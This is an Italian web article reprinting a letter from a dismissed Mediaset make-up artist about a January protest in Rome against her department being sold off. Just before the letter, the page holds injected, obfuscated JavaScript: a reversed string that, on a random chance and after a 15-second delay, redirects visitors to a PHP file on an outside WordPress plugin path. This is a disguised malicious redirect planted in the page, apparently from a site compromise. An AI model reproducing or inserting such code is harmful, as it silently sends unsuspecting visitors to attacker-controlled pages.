“Processo breve, licenziamenti rapidi”. Le dipendenti Mediaset contro Silvio B.

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Una lettera-racconto di una dipendente Mediaset fatta fuori dall’azienda. A Cologno Monzese è l’ora della resa dei conti

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/01/mediaset.jpg”>mediaset«Mercoledì 20 gennaio, sei del mattino, ritrovo in stazione Centrale: freddo, occhi stanchi e morale in bilico. Partiamo in dieci. Ci sentiamo ragazzine in gita, e quando nei primi anni ‘80 abbiamo iniziato a fare questo lavoro alla Fininvest lo eravamo realmente.

Il buio e la nebbia lasciano il posto al cielo azzurro di Roma. Ci avviamo verso Montecitorio. In via del Corso basta seguire il suono dei fischietti. L’accoglienza dei colleghi romani ci sorprende e quasi ci commuove.

Abbracci e applausi di benvenuto sciolgono la tensione. Per molte di noi e’ la prima volta in piazza. Ed e’ vero, noi in Mediaset abbiamo creduto. Ci abbiamo vissuto per decenni, l’abbiamo costruita, l’abbiamo difesa, in tante abbiamo anche appoggiato Berlusconi in politica. Davanti a Palazzo Chigi ci hanno proprio trascinato.

Su cartelli e palloncini gli slogan della nostra protesta: “Senza trucco, giu la maschera”, “Processo breve, licenziamenti rapidi”, “no alla vendita”. C’e’ Il banchetto del trucco, con specchio e poltrona. Gli striscioni e le magliette. Abituate a lavorare dietro le quinte ci ritroviamo con imbarazzo davanti a telecamere, fotografi e giornalisti.

Ci chiamano e ci chiedono di posare insieme come fossimo star sul red carpet. Ma a questo punto la nostra determinazione sconfigge la timidezza.

Passano politici. Si fermano per farsi intervistare dalle tv.
Ballantini versione Bobo Maroni, improvvisa una gag tra di noi.
A proposito: l’aspettiamo ancora su Striscia…

Siamo arrabbiate, ferite, tradite da una azienda a cui abbiamo dato gran parte della nostra vita. Ma siamo anche orgogliose di noi. Pensavano di passarci sopra. Cederci in silenzio, farci sparire nella bruma di Cologno. Hanno sbagliato. Non ci facciamo calpestare. Abbiamo più dignità noi dei dirigenti che non se la sono sentita di dirci una parola dopo oltre venti anni di lavoro. Che ci hanno impacchettate e spedite via con un biglietto di sola andata senza neanche fare una gara d’appalto per la nostra cessione.

Cosi poco alla volta ci sentiamo parte di una cosa piu’ grande del nostro problema. Siamo qui per difendere il nostro futuro ma anche quello di tutti coloro che vengono coinvolti nelle cessioni di ramo d’azienda, nuova forma di licenziamento differito.

Ripartiamo dopo un veloce tour, stanche ma allegre e piu’ leggere. Da domani si torna in sala trucco.

Da Cologno ci dicono che i capi sono furibondi. Pare che il Presidente non sia affatto contento di come la nostra vicenda e’ stata gestita, e si sia fatto sentire. E Piersilvio, nella intervista a Sette, ammette che la riorganizzazione non riguardera’ solo noi, smentendo la versione aziendale della settimana precedente.

La fine di questa storia resta ancora da scrivere».

[Fonte Piovono rane]

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